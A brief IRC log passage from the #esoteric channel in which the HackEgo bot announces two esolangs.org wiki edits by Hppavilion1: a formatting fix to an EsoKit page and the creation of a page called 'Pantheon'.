14[[07EsoKit/EsoKit.ek.math.mm14]]4 M10 02http://esolangs.org/w/index.php?diff=45051&oldid=45050 5* 03Hppavilion1 5* (+1) 10Formatting < 1446422071 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Pantheon14]]4 N10 02http://esolangs.org/w/index.php?oldid=45052 5* 03Hppavilion1 5* (+549) 10Created Page